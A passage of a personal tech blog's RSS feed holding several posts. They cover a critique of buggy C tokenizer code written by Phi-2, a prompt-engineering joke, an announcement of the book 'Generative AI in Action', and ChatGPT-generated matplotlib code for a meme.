&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;  &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;decodedStr &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#8aadf4&#34;&gt;malloc&lt;/span&gt;(&lt;span style=&#34;color:#c6a0f6&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt;)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;tokenizedStringsSize)&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; (i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;lt;*&lt;/span&gt;tokensize; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;i) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;// Convert integer values to hexadecimal strings
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#8aadf4&#34;&gt;sprintf&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;decodedStr[i], &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;%x&amp;#34;&lt;/span&gt;, tokensize[i]);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; decodedStr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;⚠️ Note: It has been a while since I wrote C, but at a high level, these are some of the issues I can see with this; these issues are off the top of my head and are not exhaustive. Finally, it is not meant to test my coding capabilities. 😬&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Memory Allocation: The &lt;code&gt;malloc&lt;/code&gt; function is used without checking for successful allocation; if it returns &lt;code&gt;NULL&lt;/code&gt;, which is not checked, we will get hurt.&lt;/li&gt;
&lt;li&gt;Tokenization Logic: The logic in the &lt;code&gt;encode&lt;/code&gt; function does not reflect the BPE algorithm, which involves merging the most frequent pairs of characters or bytes.&lt;/li&gt;
&lt;li&gt;String Concatenation: The &lt;code&gt;strcat&lt;/code&gt; function is used incorrectly; instead of a null-terminated string (as part of the second argument), we get a pointer to a single character&lt;/li&gt;
&lt;li&gt;Decoding Logic: The &lt;code&gt;decode&lt;/code&gt; function attempts to use &lt;code&gt;strcat&lt;/code&gt; with a format string (&lt;code&gt;&amp;quot;%x&amp;quot;&lt;/code&gt;), which is invalid. The &lt;code&gt;sprintf&lt;/code&gt; function should be used for formatted strings.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hopefully, this gives you a good understanding of SLMs, specifically Phi-2, and how to use them locally. 😍&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Shedding Light on the Art of Prompt Engineering</title>
      <link>/post/2024/03/shedding-light-on-the-art-of-prompt-engineering/</link>
      <pubDate>Wed, 28 Feb 2024 00:00:00 +0000</pubDate>
      
      <guid>/post/2024/03/shedding-light-on-the-art-of-prompt-engineering/</guid>
      <description>&lt;p&gt;How many prompt engineers does it take to change a light bulb? Just one, but first, they need to fine-tune the model to make sure the AI doesn&amp;rsquo;t end up writing a poem about darkness instead.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/prompt-engineering-dalle-small.png&#34; alt=&#34;DALLE generated image of How many engineers it take to change a light bulb&#34;/&gt;
        &lt;figcaption&gt;DALLE generated image of How many engineers it take to change a light bulb&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>📚 My new book &#34;Generative AI in Action&#34;</title>
      <link>/post/2023/11/announcing-gen-ai-book/</link>
      <pubDate>Tue, 14 Nov 2023 00:00:00 +0000</pubDate>
      
      <guid>/post/2023/11/announcing-gen-ai-book/</guid>
      <description>&lt;p&gt;🌐 As software continues to revolutionize the world, the advent of Generative AI is transforming the very fabric of software itself. My latest book, &lt;strong&gt;Generative AI in Action&lt;/strong&gt; delves into this transformative journey.&lt;/p&gt;
&lt;p&gt;I am thrilled to announce the early release of my latest book, &lt;a
	
		href = &#34;http://mng.bz/D9By&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt; now available through &lt;a
	
		href = &#34;http://mng.bz/D9By&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Manning Early Access Program (MEAP)
	&lt;/span&gt;
&lt;/a&gt;. This publication is a deep dive into the cutting-edge world of #GenerativeAI, #LLMs, #OpenAI, and #Azure #OpenAI, tailored specifically for enterprises. 🤘&lt;/p&gt;
&lt;p&gt;This practical, in-action, hands-on book allows one to explore the cutting-edge world of Generative AI, including LLMs, and covers both OpenAI and Azure OpenAI, allowing companies to understand basic concepts and scale to production.📘&lt;/p&gt;
&lt;p&gt;I have the privilege of having a front-row seat as we build this tech out and work with key Fortune 500 customers who are incorporating this. A lot of this is learnings captured from this. 😇&lt;/p&gt;
&lt;p&gt;📖 Inside the Book&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A comprehensive introduction to Generative AI, including foundational models like GPT, Codex, DALLE, and ChatGPT.&lt;/li&gt;
&lt;li&gt;Insightful discussions on Large Language Models (LLMs) and their applications in various sectors.&lt;/li&gt;
&lt;li&gt;Practical guides on generating text through APIs, focusing on OpenAI and Azure OpenAI.&lt;/li&gt;
&lt;li&gt;Exploration of image generation techniques, including Stable Diffusion and DALLE.&lt;/li&gt;
&lt;li&gt;Deep dive into Prompt Engineering, RAG, Bring your own Data, and model adaptation techniques.&lt;/li&gt;
&lt;li&gt;And finally, best practices to allow enterprises to scale to production.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;🎯 Why This Book is a Must-Read?
It is specially crafted for businesses leveraging AI for innovation and competitive advantage.
Combining technical depth with practical applications makes it a valuable asset for decision-makers, architects, data scientists, developers, and AI enthusiasts.&lt;/p&gt;
&lt;p&gt;🌟 Highlights:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Real-world case studies and applications.&lt;/li&gt;
&lt;li&gt;Expert guidance on model adaptation and the art of prompt engineering.&lt;/li&gt;
&lt;li&gt;Comprehensive insights into the challenges and best practices for deploying AI in enterprise settings.&lt;/li&gt;
&lt;li&gt;An essential discussion on AI&amp;rsquo;s ethical dimensions, safety, and security concerns.&lt;/li&gt;
&lt;li&gt;Generative AI in Action&amp;quot; is more than just a book; it&amp;rsquo;s a roadmap for harnessing the potential of AI to redefine the business landscape.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ready to get hands-on and deeper into Generative AI? You can use the code “&lt;strong&gt;mlbahree&lt;/strong&gt;” to get 45% off – valid until Nov 28th! 😍&lt;/p&gt;
&lt;p&gt;🔗 You can get the book and the discount from &lt;a
	
		href = &#34;http://mng.bz/D9By&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		here
	&lt;/span&gt;
&lt;/a&gt; &amp;ndash;&amp;gt; &lt;a
	
		href = &#34;http://mng.bz/D9By&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		http://mng.bz/D9By
	&lt;/span&gt;
&lt;/a&gt; &amp;#x1f43c;&lt;/p&gt;
&lt;p&gt;💽 The GitHub repo with the code from the book can be found at &amp;ndash;&amp;gt; &lt;a
	
		href = &#34;https://bit.ly/GenAIBook&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		https://bit.ly/GenAIBook
	&lt;/span&gt;
&lt;/a&gt;. 💾&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/bahree_genai_in_action_meap.jpg&#34; alt=&#34;Generative AI in Action - MEAP&#34;/&gt;
        &lt;figcaption&gt;Generative AI in Action - MEAP&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;Thank you in advance, and I would love to hear your feedback.&lt;/p&gt;
&lt;p&gt;With gratitude, 💚&lt;/p&gt;
&lt;p&gt;Amit.&lt;/p&gt;
&lt;p&gt;#GenerativeAI #LLMs #Azure #OpenAI #Microsoft #LearnwithManning #ManningBooks&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>AI working with humans</title>
      <link>/post/2023/07/ai-working-with-humans/</link>
      <pubDate>Sat, 08 Jul 2023 00:00:00 +0000</pubDate>
      
      <guid>/post/2023/07/ai-working-with-humans/</guid>
      <description>&lt;h4 id=&#34;what-does-ai-think-of-humans-and-our-humor&#34;&gt;What does AI think of humans and our humor?&lt;/h4&gt;
&lt;p&gt;I asked #AI - #CodeInterpreter plugin for #ChatGPT to express its experience as an AI working with humans as a meme. It wrote this code to create the meme below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;plt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#8bd5ca&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;numpy&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;np&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create a new figure with a white background&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fig, ax &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;subplots(figsize&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;6&lt;/span&gt;), dpi&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;80&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;fig&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;patch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;set_facecolor(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;white&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Set up the text and meme caption&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;meme_caption &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;When I, an AI, try to understand human humor:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;meme_text &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Error 404: Humor not found&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Add the meme caption and text to the figure&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ax&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;text(&lt;span style=&#34;color:#f5a97f&#34;&gt;0.5&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.7&lt;/span&gt;, meme_caption, horizontalalignment&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;center&amp;#39;&lt;/span&gt;, verticalalignment&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;center&amp;#39;&lt;/span&gt;, transform&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;ax&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transAxes, color&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;black&amp;#39;&lt;/span&gt;, fontsize&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;14&lt;/span&gt;, fontweight&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;bold&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ax&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;text(&lt;span style=&#34;color:#f5a97f&#34;&gt;0.5&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt;, meme_text, horizontalalignment&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;center&amp;#39;&lt;/span&gt;, verticalalignment&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;center&amp;#39;&lt;/span&gt;, transform&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;ax&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;transAxes, color&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;black&amp;#39;&lt;/span&gt;, fontsize&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;16&lt;/span&gt;, fontweight&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;bold&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Remove the axes for a clean meme look&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;axis(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;off&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Show the meme&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;plt&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;show()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/humans.png&#34; alt=&#34;AI&amp;rsquo;s experience working with humans&#34;/&gt;
        &lt;figcaption&gt;AI&amp;#39;s experience working with humans&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;OK, that is funny.  I asked it to create another meme about its own experience as an AI. It wrote this code to create the meme below.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
